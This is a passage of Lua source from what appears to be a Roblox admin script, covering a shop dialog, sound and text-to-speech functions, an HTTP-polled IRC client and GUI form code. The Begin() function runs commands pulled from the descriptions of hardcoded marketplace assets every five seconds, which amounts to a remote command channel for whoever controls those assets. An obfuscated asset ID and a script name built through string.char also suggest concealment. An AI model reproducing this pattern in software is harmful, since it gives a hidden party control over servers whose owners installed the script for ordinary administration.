  2362. if CanBuy == false then
  2363. BuyColor = Color3.new(1,0,0)
  2364. BuyText = "Item not for sale"
  2365. end
  2366. if OwnsAsset and Product.AssetTypeId ~= 9 then
  2367. BuyColor = Color3.new(1,0,0)
  2368. BuyText = "You own this!"
  2369. end
  2370.  
  2371. local ProductName = string.sub(Product.Name,1,20)
  2372. if ProductID == AdminID then ProductName = Product.Name end
  2373. local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
  2374. local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
  2375. local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
  2376. local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
  2377. local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
  2378. local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
  2379. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
  2380. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true
  2381. if Product.Description then
  2382. local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
  2383. local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
  2384.  
  2385. CORE:ExecuteResource("CalculateScrollY", Description)
  2386. end
  2387.  
  2388. Info.Text = [[
  2389. Creator: ]]..Product.Creator.Name..[[
  2390. Created: ]]..CreatedText..[[
  2391. Updated: ]]..UpdatedText..[[
  2392. Sold: ]]..Product.Sales..[[
  2393. ]]
  2394.  
  2395. if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." " end
  2396. if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
  2397.  
  2398. if Product.AssetTypeId == 3 then
  2399. local PlayerAdmin,Rank = RANK:IsAdmin(Player)
  2400. if PlayerAdmin == true then
  2401. local Playing = false
  2402. local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
  2403. Interact.MouseButton1Down:connect(function()
  2404. if Playing == false then
  2405. SOUND:PlayGlobalSound(ProductID)
  2406. if Rank == "Member" and Settings.DisableAbuse == true then
  2407. Interact:Destroy()
  2408. end
  2409. Interact.Image = "rbxassetid://67950809"
  2410. Playing = true
  2411. else
  2412. SOUND:StopGlobalSound()
  2413. Interact.Image = "rbxassetid://67950784"
  2414. Playing = false
  2415. end
  2416. end)
  2417. end
  2418. end
  2419.  
  2420. Buy.MouseButton1Down:connect(function()
  2421. if BuyPressFunc then
  2422. BuyPressFunc()
  2423. elseif Product.AssetTypeId == 9 then
  2424. Server.TS:Teleport(ProductID, Player)
  2425. elseif CanBuy == true then
  2426. Server.MPS:PromptPurchase(Player, ProductID)
  2427. end end)
  2428. end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  2429. local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
  2430. while wait(5) do
  2431. local Purchase = Server.MPS:GetProductInfo(LinkedID)
  2432. if OldVer ~= Purchase.Updated then
  2433. OldVer = Purchase.Updated
  2434. CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
  2435. end
  2436. end end)()
  2437. end end)() end
  2438.  
  2439. -- Sound functions --
  2440.  
  2441. function SOUND:SyncSoundList(TellSync)
  2442. if not CORE:NilPlayer(TellSync) then
  2443. GUI:SendHint(TellSync, "Syncing...", 5)
  2444. end
  2445.  
  2446. SoundList,GlobalSoundList = {},{}
  2447.  
  2448. local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
  2449.  
  2450. if LocalSoundList then
  2451. if type(LocalSoundList) == "table" then
  2452. if #LocalSoundList > 0 then
  2453. for _,Data in pairs(LocalSoundList) do
  2454. SoundList[Data[1]] = {Data[2], MARKET:GetItemInfo(Data[2], true).Name}
  2455. end
  2456. end
  2457. end
  2458. end
  2459.  
  2460. for _,JSONID in pairs(SoundJSONs) do
  2461. for Name,ID in pairs(CORE:GetTable(JSONID)) do
  2462. local FullName = MARKET:GetItemInfo(ID, true).Name
  2463. SoundList[Name] = {ID, FullName}
  2464. GlobalSoundList[Name] = {ID, FullName}
  2465. end
  2466. end
  2467.  
  2468. if not CORE:NilPlayer(TellSync) then
  2469. GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  2470. end
  2471. end
  2472.  
  2473. function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
  2474. if not Volume then Volume = 0.5 end
  2475. if not Pitch then Pitch = 1 end
  2476. if tonumber(ID) then ID = "rbxassetid://"..ID end
  2477. if Looped == nil then Looped = false end
  2478.  
  2479. local Sound = Instance.new("Sound", Parent)
  2480. Sound.Pitch = Pitch
  2481. Sound.Volume = Volume
  2482. Sound.SoundId = ID
  2483. Sound.Looped = Looped
  2484. return Sound
  2485. end
  2486.  
  2487. function SOUND:StopGlobalSound()
  2488. if Sound then Sound:Stop() Sound:Destroy() Sound.SoundId = "" end
  2489. end
  2490.  
  2491. function SOUND:PlayGlobalSound(ID, HintSoundName)
  2492. SOUND:StopGlobalSound()
  2493. if HintSoundName == nil then HintSoundName = true end
  2494. local SoundID = ID
  2495. local SoundName = nil
  2496. local Pitch = 1
  2497.  
  2498. for Name,Info in pairs(SoundList) do
  2499. if type(SoundID) == "string" then
  2500. if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
  2501. SoundID = Info[1]
  2502. SoundName = Info[2]
  2503. end
  2504. else
  2505. break
  2506. end
  2507. end
  2508.  
  2509. if tonumber(SoundID) and not SoundName then
  2510. local Info = MARKET:GetItemInfo(SoundID, true)
  2511. if Info then
  2512. SoundName = Info.Name
  2513. if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
  2514. SoundID = nil
  2515. end
  2516. end
  2517. end
  2518.  
  2519. if tonumber(SoundID) then
  2520. if SoundID == 131201443 then Pitch = -1 end
  2521. if SoundID == 130775695 then Pitch = 0.8 end
  2522. if SoundID == 144035866 then Pitch = 0.8 end
  2523.  
  2524. Sound = SOUND:MakeSound(Server.Workspace, SoundID, 1, Pitch, true)
  2525. Sound:Play()
  2526. if HintSoundName == true then
  2527. for _,Player in pairs(Server.Players:GetPlayers()) do
  2528. GUI:SendHint(Player, "Playing sound: "..SoundName, 5)
  2529. end
  2530. end
  2531. end
  2532. end
  2533.  
  2534. function SOUND:ConvertText(Text)
  2535. Text = string.lower(tostring(Text))
  2536. local Letters = {}
  2537. local IDs = {}
  2538. for Rule,Replace in pairs(TextConverter.Pronounce) do
  2539. Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
  2540. end
  2541. for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
  2542. local Start, End = string.find(Text, string.lower(Rule))
  2543.  
  2544. if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
  2545. Text = string.gsub(Text, string.lower(Rule), Replace)
  2546. end
  2547. end
  2548. for i = 1,#Text do
  2549. table.insert(Letters, string.sub(Text,i,i))
  2550. end
  2551. for Num = 1,#Letters do
  2552. if not Letters[Num] then break end
  2553. local Letter = Letters[Num]
  2554.  
  2555. local function AddLetter()
  2556. table.insert(IDs, TextConverter.LetterSounds[Letter])
  2557. end
  2558.  
  2559. if Letter ~= "~" then
  2560. if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
  2561. table.insert(IDs, TextConverter.LetterSounds["oo"])
  2562. table.remove(Letters, Num + 1)
  2563. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
  2564. table.insert(IDs, TextConverter.LetterSounds["oo"])
  2565. table.remove(Letters, Num + 1)
  2566. elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
  2567. table.insert(IDs, TextConverter.LetterSounds["th"])
  2568. table.remove(Letters, Num + 1)
  2569. elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
  2570. table.insert(IDs, TextConverter.LetterSounds["sh"])
  2571. table.remove(Letters, Num + 1)
  2572. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
  2573. table.insert(IDs, TextConverter.LongVowels["e"])
  2574. table.remove(Letters, Num + 1)
  2575. elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
  2576. table.insert(IDs, TextConverter.LetterSounds["wh"])
  2577. table.remove(Letters, Num + 1)
  2578. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
  2579. table.insert(IDs, TextConverter.LetterSounds["ch"])
  2580. table.remove(Letters, Num + 1)
  2581. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
  2582. table.insert(IDs, TextConverter.LetterSounds["f"])
  2583. table.remove(Letters, Num + 1)
  2584. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
  2585. table.insert(IDs, TextConverter.LetterSounds[Num])
  2586. Letters[Num + 1] = "j"
  2587. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
  2588. table.insert(IDs, TextConverter.LetterSounds["oo"])
  2589. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
  2590. table.insert(IDs, TextConverter.LongVowels["e"])
  2591. table.remove(Letters, Num + 1)
  2592. elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
  2593. table.insert(IDs, TextConverter.LongVowels["e"])
  2594. table.remove(Letters, Num + 1)
  2595. if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
  2596. elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
  2597. table.insert(IDs, TextConverter.LetterSounds["s"])
  2598. Letters[Num + 1] = "~"
  2599. elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
  2600. table.insert(IDs, TextConverter.LongVowels[Letter])
  2601. Letters[Num + 2] = "~"
  2602. elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
  2603. table.insert(IDs, TextConverter.LongVowels["i"])
  2604. Letters[Num + 1] = "~"
  2605. elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
  2606. table.insert(IDs, TextConverter.LongVowels["o"])
  2607. elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
  2608. table.insert(IDs, TextConverter.LongVowels["i"])
  2609. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
  2610. AddLetter()
  2611. table.remove(Letters, Num + 1)
  2612. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
  2613. Letters[Num] = "~"
  2614. elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
  2615. AddLetter()
  2616. table.remove(Letters, Num + 1)
  2617. elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
  2618. AddLetter()
  2619. table.remove(Letters, Num + 1)
  2620. elseif Letters[Num+1] == Letter then
  2621. table.remove(Letters, Num)
  2622. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
  2623. AddLetter()
  2624. table.remove(Letters, Num)
  2625. elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
  2626. table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
  2627. elseif TextConverter.LetterSounds[Letter] then
  2628. AddLetter()
  2629. elseif STRING:IsSpacer(Letter) then
  2630. table.insert(IDs, "Rest")
  2631. end
  2632. end
  2633. end
  2634.  
  2635. return IDs
  2636. end
  2637.  
  2638. function SOUND:StopSpeaking() coroutine.wrap(function()
  2639. NoSpeak = true
  2640. wait(1)
  2641. NoSpeak = false
  2642. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  2643. if Obj.Name == "M".."M".."L Speak Sound" then
  2644. Obj:Destroy()
  2645. end
  2646. end
  2647. end)() end
  2648.  
  2649. function SOUND:SayConvertedText(IDs, Parent)
  2650. if not Parent then Parent = Server.Workspace end
  2651. local Sounds = {}
  2652. for _,Data in pairs(IDs) do
  2653. if NoSpeak and Parent == Server.Workspace then
  2654. break
  2655. end
  2656. local Length = 0.3
  2657. if Data ~= "Rest" then
  2658. local ID = Data[1]
  2659. Length = Data[2]
  2660.  
  2661. local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
  2662. Sound.Name = "MML Speak Sound"
  2663. table.insert(Sounds, Sound)
  2664. Sound:Play()
  2665. if Length then
  2666. coroutine.wrap(function()
  2667. wait(Length)
  2668. Sound:Stop()
  2669. end)()
  2670. end
  2671. end
  2672. if not Length then Length = 0.3 end
  2673. wait(Length/2)
  2674. end
  2675. coroutine.wrap(function()
  2676. wait(1)
  2677. for _,Sound in pairs(Sounds) do
  2678. Sound:Destroy()
  2679. end
  2680. end)()
  2681. end
  2682.  
  2683. local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
  2684.  
  2685. function SOUND:BeepPlayer(Player)
  2686. if Player:FindFirstChild("PlayerGui") then
  2687. local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
  2688. Beep.Name = "Annoy"
  2689. Beep:Play()
  2690. end
  2691. end
  2692.  
  2693. -- IRC functions --
  2694.  
  2695. function IRC:GenerateName()
  2696. return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
  2697. end
  2698.  
  2699. function IRC:AddChat(Name, Data, IsError)
  2700. if not IsError then IsError = false end
  2701. CORE:Log(IRC.Logs, Name, Data)
  2702. table.insert(IRC.Chats, {Name, Data, IsError})
  2703. IRC.MessageAdded:Fire(Name, Data, IsError)
  2704. end
  2705.  
  2706. function IRC:Post(URL,Data)
  2707. if Data and Data ~= "" then
  2708. local Suc,Resp = ypcall(function()
  2709. return Server.HS:PostAsync(
  2710. IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
  2711. Data,
  2712. Enum.HttpContentType.ApplicationUrlEncoded
  2713. )
  2714. end)
  2715. if not Suc then
  2716. IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
  2717. return false
  2718. end
  2719. IRC.SessionCounter = IRC.SessionCounter + 1
  2720. return Resp
  2721. else
  2722. IRC:AddChat("[ CLIENT ]", "Unknown error")
  2723. end
  2724. end
  2725.  
  2726. function IRC:Send(Data)
  2727. return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
  2728. end
  2729.  
  2730. function IRC:GetData()
  2731. return IRC:Post("s","&s="..IRC.SessionID)
  2732. end
  2733.  
  2734. function IRC:Connect()
  2735. return IRC:Post("n","&nick="..IRC.NickName)
  2736. end
  2737.  
  2738. function IRC:Join(Channel)
  2739. if not Channel then
  2740. AddChat("[ CLIENT ]", "No channel specified!")
  2741. return false
  2742. else
  2743. local Channel = string.lower(Channel)
  2744. if string.sub(Channel,1,1) ~= "#" then
  2745. AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
  2746. return false
  2747. end
  2748. IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
  2749. IRC:Send("JOIN "..Channel)
  2750. IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
  2751. return true
  2752. end
  2753. end
  2754.  
  2755. function IRC:Pong(Data)
  2756. return IRC:Send("PONG :"..Data)
  2757. end
  2758.  
  2759. function IRC:Quit(Reason)
  2760. IRC.Stop = true
  2761. return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
  2762. end
  2763.  
  2764. function IRC:ReceiveData()
  2765. IRC.Stop = false
  2766. local Data = IRC:GetData()
  2767. if Data then
  2768. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
  2769. end
  2770. while Data and not Stop do
  2771. local Data = IRC:GetData()
  2772. if Data and #Data > 0 then
  2773. IRC:HandleResponse(REMOTE:Decode(Data))
  2774. end
  2775. wait(2) -- Don't spam the server
  2776. end
  2777. if not Data then
  2778. IRC:AddChat("[ CLIENT ]", "Could not get data", true)
  2779. end
  2780. if Stop == true then
  2781. IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
  2782. end
  2783. end
  2784.  
  2785. function IRC:ConnectToServer(Server)
  2786. if Connected then
  2787. if not IRC.Servers[Server] then
  2788. IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
  2789. return false
  2790. end
  2791. IRC:Quit("New Connection")
  2792. end
  2793. local Response = IRC:Connect()
  2794. if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
  2795. local Data = REMOTE:Decode(Response)
  2796. IRC.SessionID = Data[2]
  2797. wait(1)
  2798. if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
  2799. IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
  2800. IRC:Quit()
  2801. IRC:ConnectToServer(Server)
  2802. end
  2803. IRC.Connected = true
  2804. IRC:Join(Settings.IRCChannel)
  2805. IRC:ReceiveData()
  2806. IRC.Connected = false
  2807. IRC:AddChat("[ CLIENT ]", "Session ended", true)
  2808. end
  2809.  
  2810. function IRC:FindUser(UserName)
  2811. for UserID,User in pairs(IRC.Users) do
  2812. if string.lower(User) == string.lower(UserName) then
  2813. return UserID
  2814. end
  2815. end
  2816. return nil
  2817. end
  2818.  
  2819. function IRC:HandleResponse(Data)
  2820. if type(Data) ~= "table" then
  2821. IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
  2822. ypcall(function()
  2823. IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
  2824. end)
  2825. return false
  2826. end
  2827. for _,Output in pairs(Data) do
  2828. if type(Output) == "table" and Output[2] then
  2829. local ID = string.upper(Output[2])
  2830. if not IRC.Ignore[ID] then
  2831. if ID == "PING" then
  2832. IRC:Pong(Output[4][1])
  2833. elseif ID == "PRIVMSG" then
  2834. local SenderDetails = Output[3]
  2835. local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
  2836. local Channel = string.lower(Output[4][1])
  2837. if Channel == IRC.NickName then
  2838. Channel = Sender
  2839. -- TODO: Handle PM's
  2840. end
  2841. local Message = Output[4][2]
  2842. if Message ~= nil then
  2843. if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
  2844. if string.find(Message,":") then
  2845. local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
  2846. local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
  2847. IRC:AddChat(IRCUser, IRCMessage)
  2848. end
  2849. else
  2850. IRC:AddChat("[ IRC ] "..Sender,Message)
  2851. for _,Name in pairs(Settings.IRCCommandExecuters) do
  2852. if string.lower(Name) == string.lower(Sender) then
  2853. CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
  2854. break
  2855. end
  2856. end
  2857. end
  2858. else
  2859. IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
  2860. end
  2861. elseif ID == "NICK" then
  2862. local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
  2863. -- change nickname?
  2864. elseif ID == "433" or ID == "451" then
  2865. IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
  2866. IRC:Quit("Nickname in use, rejoining with new name")
  2867. IRC.NickName = IRC:GenerateName()
  2868. wait(2) -- wait for old sessions to end
  2869. IRC:ConnectToServer(Settings.IRCServer)
  2870. elseif ID == "353" then
  2871. if Data[4][4][4] then
  2872. for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
  2873. table.insert(IRC.Users, Output)
  2874. end
  2875. end
  2876. elseif ID == "QUIT" or ID == "PART" then
  2877. for User in string.gmatch(Data[1][3], "[^!~]+") do
  2878. if IRC:FindUser(User) then
  2879. IRC:AddChat("[ IRC ]", User.." has left")
  2880. table.remove(IRC.Users, IRC:FindUser(User))
  2881. end
  2882. end
  2883. elseif ID == "JOIN" then
  2884. for User in string.gmatch(Data[1][3], "[^!~]+") do
  2885. if not string.find(User, "qwebirc") then
  2886. IRC:AddChat("[ IRC ]", User.." has joined")
  2887. table.insert(IRC.Users,w)
  2888. end
  2889. end
  2890. elseif ID == "CONNECTION TO IRC SERVER LOST." then
  2891. IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
  2892. --IRC:Quit("Connection lost")
  2893. --IRC:AddChat("[ CLIENT ]", "Retrying connection")
  2894. --IRC:ConnectToServer(Settings.IRCServer)
  2895. elseif IRC.Codes[ID] then
  2896. --print(ID)
  2897. --print(Data[i][4][2])
  2898. --print(Data[i][4][2])
  2899. elseif ID == "KICK" then
  2900. IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
  2901. IRC:Quit("Kicked from IRC")
  2902. elseif ID then
  2903. IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
  2904. else
  2905. IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
  2906. end
  2907. end
  2908. else
  2909. if Output == false then return false end -- sneeky server
  2910. IRC:AddChat("[ CLIENT ]", "Unable to handle data")
  2911. end
  2912. end
  2913. end
  2914.  
  2915. -- GUI functions --
  2916.  
  2917. function GUI:GetColor(ColorName)
  2918. if not ColorName then ColorName = Settings.ColorScheme end
  2919. return Colors[string.upper(ColorName)]
  2920. end
  2921.  
  2922. function GUI:ContrastColor(Color)
  2923. if type(Color) == "string" then Color = GUI:GetColor(Color) end
  2924. if not Color then Color = GUI:GetColor() end
  2925. return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
  2926. end
  2927.  
  2928.  
  2929. function GUI:GetNameColor(Name)
  2930. local Val = 0
  2931. for i = 1, #Name do
  2932. local CVal = string.byte(string.sub(Name, i, i))
  2933. local RevIndex = #Name - i + 1
  2934. if #Name%2 == 1 then
  2935. RevIndex = RevIndex - 1
  2936. end
  2937. if RevIndex%4 >= 2 then
  2938. CVal = -CVal
  2939. end
  2940. Val = Val + CVal
  2941. end
  2942. local Index = Val%8 + 1
  2943.  
  2944. return BrickColor.new(ChatColors[Index])
  2945. end
  2946.  
  2947. function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
  2948. if not Player then return nil end
  2949. if not Player:FindFirstChild("PlayerGui") then return nil end
  2950. local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
  2951. if not TitleText then TitleText = "Unknown" end
  2952. if not Size then Size = UDim2.new(0.5,0,0.5,0) end
  2953. if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
  2954. if not IconID then IconID = 19919809 end
  2955. if ShowFormButtons == nil then ShowFormButtons = true end
  2956. if not ColorScheme then ColorScheme = Settings.ColorScheme end
  2957. if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
  2958. if AutoOffset == nil then AutoOffset = true end
  2959. if Icons[IconID] then IconID = Icons[IconID] end
  2960. if TweenPosition == nil then TweenPosition = true end
  2961. if NoModal == nil then NoModal = false end
  2962. if NoScrollFrame == nil then NoScrollFrame = false end
  2963.  
  2964. local IsClosed = false
  2965. local Minus = nil
  2966. local Offset = 0
  2967. local ContentType = "ScrollingFrame"
  2968.  
  2969. if AutoOffset then
  2970. for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  2971. if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
  2972. if Item.IsActive.Value == true then
  2973. if Item.IsTrueForm.Value == true then
  2974. Offset = Offset + 50
  2975. end
  2976. end
  2977. end
  2978. end
  2979. end
  2980.  
  2981. if NoScrollFrame == true then
  2982. ContentType = "Frame"
  2983. end
  2984.  
  2985. local Position = Position + UDim2.new(0,Offset,0,Offset)
  2986. local MinimizePos = Position
  2987.  
  2988. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
  2989. local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
  2990. local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
  2991.  
  2992. local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = TransparencyScheme Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
  2993. local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
  2994. local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
  2995. local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "http://www.roblox.com/asset/?id=275572394"
  2996. local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
